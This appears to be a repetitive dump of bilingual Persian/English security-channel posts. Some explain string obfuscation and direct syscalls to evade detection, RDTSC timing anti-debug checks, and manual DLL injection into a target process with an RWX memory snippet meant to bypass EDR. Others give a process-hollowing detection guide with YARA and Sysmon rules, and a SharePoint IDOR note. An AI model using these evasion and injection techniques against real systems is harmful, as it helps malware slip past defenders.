✂️ Obfuscation – Hiding Strings and Data
Common string obfuscation tricks:
Simple XOR or RC4 encryption of API names
Reversed Unicode strings
Building strings at runtime using sprintf, memcpy, etc.
Examples:
char x[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
// or even
❤2👍2
char* str = (char*)malloc(13);
memcpy(str, "\x56\x69\x72\x74\x75\x61\x6c\x41\x6c\x6c\x6f\x63", 12);
str[12] = 0;
⚔️ Tools / Known Techniques:
Tool Denoscription
SysWhispers2/3 Generate syscall stubs with zero suspicious strings
Hell’s Gate Resolve syscall numbers directly from memory
ScareCrow / Sliver Use runtime API resolution + encoding for full stealth
🎯 Final Recommendation:
To fully bypass detection:
✅ Resolve APIs with no visible names
✅ No suspicious strings in your shellcode
✅ Use direct syscalls via custom stubs you generate
❤4
🛡 استفاده از Timing Checks برای شناسایی دیباگر
یکی از روشهای ساده اما مؤثر برای فهمیدن این که برنامه تحت دیباگ اجرا میشه یا نه، چک کردن زمان اجرای بخشهای مشخصی از کد هست.
ایده اینه که وقتی دیباگر در حال بررسی برنامهست، به دلیل توقفهای مکرر (Breakpoints) و اجرای مرحلهبهمرحله (Step-by-step)، اجرای کد بهطور قابلتوجهی کندتر میشه
1️⃣ ایده اصلی
برنامه یک بازه زمانی رو اندازهگیری میکنه و اگر زمان بیشتر از حد انتظار باشه → یعنی احتمالاً دیباگر فعال بوده
2️⃣ روش پیادهسازی
دو روش رایج وجود داره:
APIهای سیستمعامل مثل GetTickCount, QueryPerformanceCounter در ویندوز
دستورات CPU مثل RDTSC که زمان CPU cycle رو میده
مثال اسمبلی (x86)
مثال C (Windows API)
🛡 Using Timing Checks to Detect a Debugger
One of the simplest yet effective techniques to determine if a program is running under a debugger is measuring execution time for specific parts of the code.
The idea: when a debugger is attached, due to frequent pauses (breakpoints) and step-by-step execution, the program runs noticeably slower.
1️⃣ Core Idea
The program measures a time window, and if the execution takes longer than expected → it likely means a debugger is active.
2️⃣ Implementation Methods
Two common approaches exist:
OS APIs such as GetTickCount, QueryPerformanceCounter (on Windows)
CPU instructions like RDTSC which return the CPU cycle count
Assembly Example (x86)
C Example (Windows API)
یکی از روشهای ساده اما مؤثر برای فهمیدن این که برنامه تحت دیباگ اجرا میشه یا نه، چک کردن زمان اجرای بخشهای مشخصی از کد هست.
ایده اینه که وقتی دیباگر در حال بررسی برنامهست، به دلیل توقفهای مکرر (Breakpoints) و اجرای مرحلهبهمرحله (Step-by-step)، اجرای کد بهطور قابلتوجهی کندتر میشه
1️⃣ ایده اصلی
برنامه یک بازه زمانی رو اندازهگیری میکنه و اگر زمان بیشتر از حد انتظار باشه → یعنی احتمالاً دیباگر فعال بوده
2️⃣ روش پیادهسازی
دو روش رایج وجود داره:
APIهای سیستمعامل مثل GetTickCount, QueryPerformanceCounter در ویندوز
دستورات CPU مثل RDTSC که زمان CPU cycle رو میده
مثال اسمبلی (x86)
rdtsc ; Read Time-Stamp Counter
mov ebx, eax ; Save start time
; ---- Target code ----
nop
nop
nop
; ---------------------
rdtsc
sub eax, ebx ; Calculate elapsed cycles
cmp eax, 100 ; If cycles > threshold
jg DebuggerFound
مثال C (Windows API)
#include <windows.h>
#include <stdio.h>
int main() {
DWORD start = GetTickCount();
Sleep(10); // Simulate some work
DWORD end = GetTickCount();
if ((end - start) > 20) {
printf("Debugger detected!\n");
} else {
printf("No debugger detected.\n");
}
return 0;
}
🛡 Using Timing Checks to Detect a Debugger
One of the simplest yet effective techniques to determine if a program is running under a debugger is measuring execution time for specific parts of the code.
The idea: when a debugger is attached, due to frequent pauses (breakpoints) and step-by-step execution, the program runs noticeably slower.
1️⃣ Core Idea
The program measures a time window, and if the execution takes longer than expected → it likely means a debugger is active.
2️⃣ Implementation Methods
Two common approaches exist:
OS APIs such as GetTickCount, QueryPerformanceCounter (on Windows)
CPU instructions like RDTSC which return the CPU cycle count
Assembly Example (x86)
rdtsc ; Read Time-Stamp Counter
mov ebx, eax ; Save start time
; ---- Target code ----
nop
nop
nop
; ---------------------
rdtsc
sub eax, ebx ; Calculate elapsed cycles
cmp eax, 100 ; If cycles > threshold
jg DebuggerFound
C Example (Windows API)
#include <windows.h>
#include <stdio.h>
int main() {
DWORD start = GetTickCount();
Sleep(10); // Simulate some work
DWORD end = GetTickCount();
if ((end - start) > 20) {
printf("Debugger detected!\n");
} else {
printf("No debugger detected.\n");
}
return 0;
}
❤3
"از ساخت تا شکار: نقشهٔ کامل برای تشخیص Process Hollowing، Doppelganging و همکارانِ تاریک"
وقتی یک پردازش «لباسِ قانون» میپوشد، کار واقعی تو نیست که بفهمی چطور ساخته شده — کار تو اینه که بفهمی چهوقت و چگونه ماسکها از جا میافتند. این پست خلاصهٔ تکنیکها و چکلیستهایی هست که هر مهندس معکوس و مدافع باید بلد باشه.
1) آمادهسازی لَب امن برای تمرین (حتماً ایزوله)
از VM جدا، بدون دسترسی به شبکه تولیدی، با snapshots فعال استفاده کن
دو شبکه مجزا: one for analysis (internal) ، one for internet-limited updates (or none).
از ابزارهایی مثل: VirtualBox/VMware, REMnux/Cuckoo (برای sandboxing) استفاده کن
همیشه از نمونههای benign یا نمونههای آموزشی (که payloadش فقط MessageBox یا benign behavior داره) استفاده کن؛ نمونههای واقعی باید فقط بهصورت read-only و در محیط کنترلشده آنالیز شوند.
2) چکلیست سریع برای شناسایی در لحظه (Runtime indicators)
Module mismatch: هش فایلِ فایل روی دیسک با محتوای module در حافظه یکی نیست
RWX pages: وجود صفحات حافظه با پرمیشن RWX در پروسسهایی که نباید داشته باشند
Unmapped PE header: Process دارد از PE اجرا میشود ولی هدر PE در حافظه unmapped یا تغییر کرده است.
EntryPoint inconsistency: نقطهٔ ورود (EP) حافظه با EP فایل روی دیسک فرق دارد.
Suspended + APC activity: پروسه با CREATE_SUSPENDED ساخته شده و قبل از resume صف APC حاوی code اجراست (Early Bird).
Parent-child oddities: زنجیرهٔ والد/فرزند غیرمنطقی (مثلاً یک سرویس سیستمی که ناگهانی childاش explorer است) یا تاریخ/زمان ایجاد ناهمگون.
3) ابزارها و دستورات عملی برای شکار (قابل اجرا در لَب)
A PE-sieve (برای اسکن درحافظه)
# اسکن یک PID و گرفتن dump
pe-sieve64.exe /pid <PID> /dump_mode 3
# دنبال replaced sections یا unlinked headers باش
B Volatility (for memory forensics)
# لیست پروسسها
volatility -f mem.raw --profile=Win10x64_19041 pslist
# پیدا کردن صفحات مشکوک و شکستن shellcode
volatility -f mem.raw --profile=Win10x64_19041 malfind
# بررسی APC queue یا thread context (پروفایل و پلاگینها بسته به نسخهی volatility فرق دارد)
C Process Hacker / Process Explorer
نگاه کن به ماژولهای لودشده، مسیر فایل، و اگر module path خالی یا <> وجود دارد، مشکوک است
چک کن بخش Threads و APC queue برای activity عجیب
D PE-sieve + hollows_hunter
hollows_hunter برای detection of hollowed processes عالیه؛ output رو با pe-sieve مقایسه کن
4) قواعد YARA و Sysmon برای شکار رفتارها
نمونهٔ Rule سادهٔ YARA (فقط برای تشخیص الگوهای مشکوک در حافظه / dump)
> این rule یک rule نمونه است و برای محیط خودت باید آن را فاینتیون کنی.
rule suspicious_rwx_code {
meta:
author = "channel_dark_lab"
denoscription = "Detects potential RWX memory containing suspicious patterns (heuristic)"
strings:
$xor_stub = { 31 C0 31 DB 31 C9 31 D2 } // common xor zeroing stub (example heuristic)
$jmp = { FF 25 ?? ?? ?? ?? } // indirect jmp dword ptr [...]
condition:
uint16(0) == 0x5A4D and // PE signature (if scanning dumps)
any of ($xor_stub, $jmp)
}
Sysmon snippets (رویدادهای کلیدی)
لاگ کردن ProcessCreate و CommandLine
لاگ کردن CreateRemoteThread / WriteProcessMemory activities (Event IDs مربوطه را فعال کن)
لاگ کردن ImageLoad و بررسی mismatch بین module path و image hash.
نمونهٔ خط Rule برای Sysmon (بخش EventFiltering):
<!-- detect suspicious CreateRemoteThread-like sequences -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.dll</Image>
</ImageLoaded>
5) تحلیل مرحلهایِ یک نمونهٔ "Hollowed process" (Workflow for a post)
1 چطوری نمونه تهیه شد؟ (در لَب، با PoC benign)
2 Snapshot از وضعیت قبل/بعد (Process list, modules, EP).
3 pe-sieve run → گزارش replaced section / unmapped header. نمایش خروجی
4 Dump from memory → باز کردن dump در IDA/x64dbg → رفتن به EP → مشاهدهٔ shellcode (بدون جزئیات exploit).
5 Volatility malfind → نمایش صفحات RWX و offsets.
6 نکات تشخیصی — timestamp inconsistency, module path empty، و غیره
7Mitigation — Sysmon rule + Yara + process hardening + EDR tuning.
وقتی یک پردازش «لباسِ قانون» میپوشد، کار واقعی تو نیست که بفهمی چطور ساخته شده — کار تو اینه که بفهمی چهوقت و چگونه ماسکها از جا میافتند. این پست خلاصهٔ تکنیکها و چکلیستهایی هست که هر مهندس معکوس و مدافع باید بلد باشه.
1) آمادهسازی لَب امن برای تمرین (حتماً ایزوله)
از VM جدا، بدون دسترسی به شبکه تولیدی، با snapshots فعال استفاده کن
دو شبکه مجزا: one for analysis (internal) ، one for internet-limited updates (or none).
از ابزارهایی مثل: VirtualBox/VMware, REMnux/Cuckoo (برای sandboxing) استفاده کن
همیشه از نمونههای benign یا نمونههای آموزشی (که payloadش فقط MessageBox یا benign behavior داره) استفاده کن؛ نمونههای واقعی باید فقط بهصورت read-only و در محیط کنترلشده آنالیز شوند.
2) چکلیست سریع برای شناسایی در لحظه (Runtime indicators)
Module mismatch: هش فایلِ فایل روی دیسک با محتوای module در حافظه یکی نیست
RWX pages: وجود صفحات حافظه با پرمیشن RWX در پروسسهایی که نباید داشته باشند
Unmapped PE header: Process دارد از PE اجرا میشود ولی هدر PE در حافظه unmapped یا تغییر کرده است.
EntryPoint inconsistency: نقطهٔ ورود (EP) حافظه با EP فایل روی دیسک فرق دارد.
Suspended + APC activity: پروسه با CREATE_SUSPENDED ساخته شده و قبل از resume صف APC حاوی code اجراست (Early Bird).
Parent-child oddities: زنجیرهٔ والد/فرزند غیرمنطقی (مثلاً یک سرویس سیستمی که ناگهانی childاش explorer است) یا تاریخ/زمان ایجاد ناهمگون.
3) ابزارها و دستورات عملی برای شکار (قابل اجرا در لَب)
A PE-sieve (برای اسکن درحافظه)
# اسکن یک PID و گرفتن dump
pe-sieve64.exe /pid <PID> /dump_mode 3
# دنبال replaced sections یا unlinked headers باش
B Volatility (for memory forensics)
# لیست پروسسها
volatility -f mem.raw --profile=Win10x64_19041 pslist
# پیدا کردن صفحات مشکوک و شکستن shellcode
volatility -f mem.raw --profile=Win10x64_19041 malfind
# بررسی APC queue یا thread context (پروفایل و پلاگینها بسته به نسخهی volatility فرق دارد)
C Process Hacker / Process Explorer
نگاه کن به ماژولهای لودشده، مسیر فایل، و اگر module path خالی یا <> وجود دارد، مشکوک است
چک کن بخش Threads و APC queue برای activity عجیب
D PE-sieve + hollows_hunter
hollows_hunter برای detection of hollowed processes عالیه؛ output رو با pe-sieve مقایسه کن
4) قواعد YARA و Sysmon برای شکار رفتارها
نمونهٔ Rule سادهٔ YARA (فقط برای تشخیص الگوهای مشکوک در حافظه / dump)
> این rule یک rule نمونه است و برای محیط خودت باید آن را فاینتیون کنی.
rule suspicious_rwx_code {
meta:
author = "channel_dark_lab"
denoscription = "Detects potential RWX memory containing suspicious patterns (heuristic)"
strings:
$xor_stub = { 31 C0 31 DB 31 C9 31 D2 } // common xor zeroing stub (example heuristic)
$jmp = { FF 25 ?? ?? ?? ?? } // indirect jmp dword ptr [...]
condition:
uint16(0) == 0x5A4D and // PE signature (if scanning dumps)
any of ($xor_stub, $jmp)
}
Sysmon snippets (رویدادهای کلیدی)
لاگ کردن ProcessCreate و CommandLine
لاگ کردن CreateRemoteThread / WriteProcessMemory activities (Event IDs مربوطه را فعال کن)
لاگ کردن ImageLoad و بررسی mismatch بین module path و image hash.
نمونهٔ خط Rule برای Sysmon (بخش EventFiltering):
<!-- detect suspicious CreateRemoteThread-like sequences -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.dll</Image>
</ImageLoaded>
5) تحلیل مرحلهایِ یک نمونهٔ "Hollowed process" (Workflow for a post)
1 چطوری نمونه تهیه شد؟ (در لَب، با PoC benign)
2 Snapshot از وضعیت قبل/بعد (Process list, modules, EP).
3 pe-sieve run → گزارش replaced section / unmapped header. نمایش خروجی
4 Dump from memory → باز کردن dump در IDA/x64dbg → رفتن به EP → مشاهدهٔ shellcode (بدون جزئیات exploit).
5 Volatility malfind → نمایش صفحات RWX و offsets.
6 نکات تشخیصی — timestamp inconsistency, module path empty، و غیره
7Mitigation — Sysmon rule + Yara + process hardening + EDR tuning.
❤2
From Creation to Detection: The Complete Map for Identifying Process Hollowing, Doppelgänging, and Their Dark Allies
When a process “wears the mask of legitimacy,” your real job isn’t to figure out how it was made — it’s to discover when and how the masks slip off. This post summarizes techniques and checklists every reverse engineer and defender should know.
1) Setting up a Safe Lab Environment for Practice (Must be Isolated)
Use a separate VM, isolated from production networks, with snapshots enabled.
Use segregated networks: one for analysis (internal), and one for limited internet updates or none.
Use tools like VirtualBox/VMware, REMnux, Cuckoo sandbox for analysis.
Always use benign or educational samples (with payloads like just a MessageBox or harmless behavior). Real samples should only be analyzed in read-only mode and in a controlled environment.
2) Quick Checklist for Real-time Identification (Runtime Indicators)
Module mismatch: Hash of the file on disk differs from the loaded module in memory.
RWX pages: Presence of memory pages with Read-Write-Execute permissions in processes where they shouldn’t exist.
Unmapped PE header: Process runs a PE file but the PE header in memory is unmapped or modified.
EntryPoint inconsistency: Entry point (EP) in memory differs from the EP in the file on disk.
Suspended + APC activity: Process created with CREATE_SUSPENDED and before resume, the APC queue contains code to execute (Early Bird injection).
Parent-child oddities: Unusual parent/child process chains (e.g., a system service suddenly spawning explorer.exe), or inconsistent creation timestamps.
3) Practical Tools and Commands for Hunting (Executable in Lab)
A PE-sieve (Memory Scanner)
Scan a PID and dump suspicious sections:
pe-sieve64.exe /pid <PID> /dump_mode 3
Look for replaced sections or unlinked headers.
B Volatility (Memory Forensics)
List processes:
volatility -f mem.raw --profile=Win10x64_19041 pslist
Find suspicious pages and extract shellcode:
volatility -f mem.raw --profile=Win10x64_19041 malfind
Check APC queues or thread contexts (plugins vary by Volatility version).
C Process Hacker / Process Explorer
Examine loaded modules, file paths; if module path is empty or shows <unknown>, it’s suspicious.
Check Threads and APC queues for unusual activity.
D. PE-sieve + hollows_hunter
hollows_hunter is great for detecting hollowed processes; compare its output with pe-sieve.
4) YARA and Sysmon Rules for Behavioral Hunting
Sample YARA rule (for detecting suspicious patterns in memory/dumps):
rule suspicious_rwx_code {
meta:
author = "channel_dark_lab"
denoscription = "Detects potential RWX memory containing suspicious patterns (heuristic)"
strings:
$xor_stub = { 31 C0 31 DB 31 C9 31 D2 } // common xor zeroing stub (example heuristic)
$jmp = { FF 25 ?? ?? ?? ?? } // indirect jmp dword ptr [...]
condition:
uint16(0) == 0x5A4D and // PE signature (if scanning dumps)
any of ($xor_stub, $jmp)
}
Sysmon snippets (key events to log):
Log ProcessCreate and CommandLine.
Log CreateRemoteThread and WriteProcessMemory activities (enable respective Event IDs).
Log ImageLoad and check for mismatches between module path and image hash.
Example Sysmon EventFiltering snippet:
<!-- detect suspicious CreateRemoteThread-like sequences -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.dll</Image>
</ImageLoaded>
5) Step-by-Step Analysis Workflow of a “Hollowed Process” Sample
1 How was the sample created? (In lab, using a benign PoC)
2 Take snapshots of before/after states(process list, modules, entry point)
3 Run pe-sieve → review replaced sections / unmapped headers report. Display outputs.
4 Dump from memory → open dump in IDA/x64dbg → go to EP → observe shellcode (without exploit details)
5 Use Volatility malfind → show RWX pages and offsets.
When a process “wears the mask of legitimacy,” your real job isn’t to figure out how it was made — it’s to discover when and how the masks slip off. This post summarizes techniques and checklists every reverse engineer and defender should know.
1) Setting up a Safe Lab Environment for Practice (Must be Isolated)
Use a separate VM, isolated from production networks, with snapshots enabled.
Use segregated networks: one for analysis (internal), and one for limited internet updates or none.
Use tools like VirtualBox/VMware, REMnux, Cuckoo sandbox for analysis.
Always use benign or educational samples (with payloads like just a MessageBox or harmless behavior). Real samples should only be analyzed in read-only mode and in a controlled environment.
2) Quick Checklist for Real-time Identification (Runtime Indicators)
Module mismatch: Hash of the file on disk differs from the loaded module in memory.
RWX pages: Presence of memory pages with Read-Write-Execute permissions in processes where they shouldn’t exist.
Unmapped PE header: Process runs a PE file but the PE header in memory is unmapped or modified.
EntryPoint inconsistency: Entry point (EP) in memory differs from the EP in the file on disk.
Suspended + APC activity: Process created with CREATE_SUSPENDED and before resume, the APC queue contains code to execute (Early Bird injection).
Parent-child oddities: Unusual parent/child process chains (e.g., a system service suddenly spawning explorer.exe), or inconsistent creation timestamps.
3) Practical Tools and Commands for Hunting (Executable in Lab)
A PE-sieve (Memory Scanner)
Scan a PID and dump suspicious sections:
pe-sieve64.exe /pid <PID> /dump_mode 3
Look for replaced sections or unlinked headers.
B Volatility (Memory Forensics)
List processes:
volatility -f mem.raw --profile=Win10x64_19041 pslist
Find suspicious pages and extract shellcode:
volatility -f mem.raw --profile=Win10x64_19041 malfind
Check APC queues or thread contexts (plugins vary by Volatility version).
C Process Hacker / Process Explorer
Examine loaded modules, file paths; if module path is empty or shows <unknown>, it’s suspicious.
Check Threads and APC queues for unusual activity.
D. PE-sieve + hollows_hunter
hollows_hunter is great for detecting hollowed processes; compare its output with pe-sieve.
4) YARA and Sysmon Rules for Behavioral Hunting
Sample YARA rule (for detecting suspicious patterns in memory/dumps):
rule suspicious_rwx_code {
meta:
author = "channel_dark_lab"
denoscription = "Detects potential RWX memory containing suspicious patterns (heuristic)"
strings:
$xor_stub = { 31 C0 31 DB 31 C9 31 D2 } // common xor zeroing stub (example heuristic)
$jmp = { FF 25 ?? ?? ?? ?? } // indirect jmp dword ptr [...]
condition:
uint16(0) == 0x5A4D and // PE signature (if scanning dumps)
any of ($xor_stub, $jmp)
}
Sysmon snippets (key events to log):
Log ProcessCreate and CommandLine.
Log CreateRemoteThread and WriteProcessMemory activities (enable respective Event IDs).
Log ImageLoad and check for mismatches between module path and image hash.
Example Sysmon EventFiltering snippet:
<!-- detect suspicious CreateRemoteThread-like sequences -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.dll</Image>
</ImageLoaded>
5) Step-by-Step Analysis Workflow of a “Hollowed Process” Sample
1 How was the sample created? (In lab, using a benign PoC)
2 Take snapshots of before/after states(process list, modules, entry point)
3 Run pe-sieve → review replaced sections / unmapped headers report. Display outputs.
4 Dump from memory → open dump in IDA/x64dbg → go to EP → observe shellcode (without exploit details)
5 Use Volatility malfind → show RWX pages and offsets.
❤1✍1
6 Diagnostic notes — timestamp inconsistencies, empty module paths, etc
7 Mitigation — use Sysmon rules + YARA + process hardening + EDR tuning
7 Mitigation — use Sysmon rules + YARA + process hardening + EDR tuning
❤1🦄1
💉 Manual DLL Injection با بخشهای RWX
«وقتی میخوای یه DLL رو بدون ردیابی تزریق کنی»
🎯 مشکل چیه؟
روشهای معمول DLL Injection مثل LoadLibrary به راحتی توسط EDRها و AVها شناسایی میشن.
مخصوصاً وقتی DLL در حافظه پروسه هدف Load میشه و APIهای استاندارد فراخوانی میشن.
در نتیجه Injection رد یا لاگ میشه
💡 راهحل: Manual Mapping
DLL رو از روی دیسک Load نکن
خودش رو توی حافظهی پروسه هدف با دست خودت Map کن (Manual Mapping)
بخشهای DLL رو توی حافظه با دست بچین (Headers، Sections، Relocations، Imports و ...)
🧬 مراحل کلی Manual Mapping:
1 خواندن فایل DLL از دیسک
2 رزرو حافظه به اندازه DLL در پروسه هدف با اجازه RWX
3 کپی هدرها و بخشها (Sections) به حافظه جدید
4 اصلاح Relocation ها بر اساس آدرس جدید
5 Resolve کردن Import Table با Dynamic API Resolution
6 اجرای تابع DllMain به صورت دستی
🔧 نکته مهم:
حافظهای که DLL رو توش میریزیم باید RWX باشه (Read/Write/Execute) تا کد قابل اجرا باشه و بشه روش تغییرات انجام داد.
اکثر EDRها روی RWX Monitor دارند ولی با تکنیکهایی میتونیم این رو هم بایپس کنیم
🛠️ نمونه کد ساده (C++) برای Allocate و کپی DLL:
✅ مزایای Manual Mapping:
آنتیویروس مستقیم LoadLibrary نداره که Hook یا مانیتور کنه
توابع DLL میتونن بدون هیچ ردپا اجرا بشن
امکان تغییر کد DLL قبل یا بعد از Inject (Obfuscation) هست
⚠️ چالشها:
باید Relocation و Import Table درست اصلاح بشن
اجرای DllMain به درستی مدیریت بشه
نیازمند دانش PE File Format و مدیریت حافظه
📚 منابع پیشنهادی:
Blackbone (کتابخانه Manual Mapping خیلی قوی)
Process Hacker (برای بررسی Injectionها)
مقالات “Reflective DLL Injection” در GitHub
💉 Manual DLL Injection with RWX Sections
“When you want to inject a DLL without leaving traces”
🎯 What’s the problem?
Common DLL Injection methods like LoadLibrary are easily detected by EDRs and antivirus solutions — especially when the DLL is loaded in the target process memory via standard API calls
As a result, the injection gets blocked or logged
💡 The solution: Manual Mapping
Don’t load the DLL from disk using standard APIs
Manually map the DLL into the target process memory yourself (Manual Mapping)
Manually arrange DLL parts in memory (Headers, Sections, Relocations, Imports, etc.)
🧬 General Steps for Manual Mapping:
1Read the DLL file from disk
2 Reserve memory in the target process with RWX (Read/Write/Execute) permissions matching the DLL size
3 Copy the headers and sections to the new memory region
4 Fix relocations based on the new base address.
5 Resolve the Import Table by dynamically resolving required APIs.
6 Manually call the DLL’s DllMain function
🔧 Important note:
The memory region where you map the DLL must have RWX permissions so the code can be executed and modified
Most EDRs monitor RWX allocations, but there are techniques to bypass this monitoring.
🛠️ Simple example C++ code for allocation and copying DLL:
✅ Advantages of Manual Mapping:
No direct LoadLibrary call for AV/EDR to hook or monitor.
DLL functions can execute without obvious footprints.
You can modify the DLL code before or after injection (obfuscation).
⚠️ Challenges:
Proper handling of relocations and import table fix-ups is required.
Proper management of calling DllMain.
Requires solid knowledge of PE file format and memory management.
📚 Recommended resources:
Blackbone (a powerful manual mapping library)
Process Hacker (for inspecting injections)
Articles and projects on Reflective DLL Injection on GitHub
«وقتی میخوای یه DLL رو بدون ردیابی تزریق کنی»
🎯 مشکل چیه؟
روشهای معمول DLL Injection مثل LoadLibrary به راحتی توسط EDRها و AVها شناسایی میشن.
مخصوصاً وقتی DLL در حافظه پروسه هدف Load میشه و APIهای استاندارد فراخوانی میشن.
در نتیجه Injection رد یا لاگ میشه
💡 راهحل: Manual Mapping
DLL رو از روی دیسک Load نکن
خودش رو توی حافظهی پروسه هدف با دست خودت Map کن (Manual Mapping)
بخشهای DLL رو توی حافظه با دست بچین (Headers، Sections، Relocations، Imports و ...)
🧬 مراحل کلی Manual Mapping:
1 خواندن فایل DLL از دیسک
2 رزرو حافظه به اندازه DLL در پروسه هدف با اجازه RWX
3 کپی هدرها و بخشها (Sections) به حافظه جدید
4 اصلاح Relocation ها بر اساس آدرس جدید
5 Resolve کردن Import Table با Dynamic API Resolution
6 اجرای تابع DllMain به صورت دستی
🔧 نکته مهم:
حافظهای که DLL رو توش میریزیم باید RWX باشه (Read/Write/Execute) تا کد قابل اجرا باشه و بشه روش تغییرات انجام داد.
اکثر EDRها روی RWX Monitor دارند ولی با تکنیکهایی میتونیم این رو هم بایپس کنیم
🛠️ نمونه کد ساده (C++) برای Allocate و کپی DLL:
SIZE_T dllSize = ntHeaders->OptionalHeader.SizeOfImage;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, dllBuffer, dllSize, NULL);
✅ مزایای Manual Mapping:
آنتیویروس مستقیم LoadLibrary نداره که Hook یا مانیتور کنه
توابع DLL میتونن بدون هیچ ردپا اجرا بشن
امکان تغییر کد DLL قبل یا بعد از Inject (Obfuscation) هست
⚠️ چالشها:
باید Relocation و Import Table درست اصلاح بشن
اجرای DllMain به درستی مدیریت بشه
نیازمند دانش PE File Format و مدیریت حافظه
📚 منابع پیشنهادی:
Blackbone (کتابخانه Manual Mapping خیلی قوی)
Process Hacker (برای بررسی Injectionها)
مقالات “Reflective DLL Injection” در GitHub
💉 Manual DLL Injection with RWX Sections
“When you want to inject a DLL without leaving traces”
🎯 What’s the problem?
Common DLL Injection methods like LoadLibrary are easily detected by EDRs and antivirus solutions — especially when the DLL is loaded in the target process memory via standard API calls
As a result, the injection gets blocked or logged
💡 The solution: Manual Mapping
Don’t load the DLL from disk using standard APIs
Manually map the DLL into the target process memory yourself (Manual Mapping)
Manually arrange DLL parts in memory (Headers, Sections, Relocations, Imports, etc.)
🧬 General Steps for Manual Mapping:
1Read the DLL file from disk
2 Reserve memory in the target process with RWX (Read/Write/Execute) permissions matching the DLL size
3 Copy the headers and sections to the new memory region
4 Fix relocations based on the new base address.
5 Resolve the Import Table by dynamically resolving required APIs.
6 Manually call the DLL’s DllMain function
🔧 Important note:
The memory region where you map the DLL must have RWX permissions so the code can be executed and modified
Most EDRs monitor RWX allocations, but there are techniques to bypass this monitoring.
🛠️ Simple example C++ code for allocation and copying DLL:
SIZE_T dllSize = ntHeaders->OptionalHeader.SizeOfImage;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteMem, dllBuffer, dllSize, NULL);
✅ Advantages of Manual Mapping:
No direct LoadLibrary call for AV/EDR to hook or monitor.
DLL functions can execute without obvious footprints.
You can modify the DLL code before or after injection (obfuscation).
⚠️ Challenges:
Proper handling of relocations and import table fix-ups is required.
Proper management of calling DllMain.
Requires solid knowledge of PE file format and memory management.
📚 Recommended resources:
Blackbone (a powerful manual mapping library)
Process Hacker (for inspecting injections)
Articles and projects on Reflective DLL Injection on GitHub
❤4
Forwarded from Hack Hive
In my research on SharePoint web parts, I discovered a misconfiguration that leads to IDOR (Insecure Direct Object Reference) vulnerabilities. This issue not only exposes the application to IDOR risks but can also pave the way for other vulnerabilities, some of which may be even more severe. Custom web parts often exacerbate these security concerns, highlighting the importance of proper configuration and security practices in SharePoint environments.
https://x.com/horamah_71/status/1956012083809579226?t=i8ZO9qW812udOMrwKA33JQ&s=19
https://medium.com/@horamah.71/understanding-sharepoint-web-parts-and-idor-vulnerabilities-e9ca172d7f2b
https://x.com/horamah_71/status/1956012083809579226?t=i8ZO9qW812udOMrwKA33JQ&s=19
https://medium.com/@horamah.71/understanding-sharepoint-web-parts-and-idor-vulnerabilities-e9ca172d7f2b
Medium
Understanding SharePoint Web Parts and IDOR Vulnerabilities
Hey everyone! 👋 I’m @horamah.71 , and I recently started exploring web security and SharePoint environments. I’ve been doing hands-on…
❤2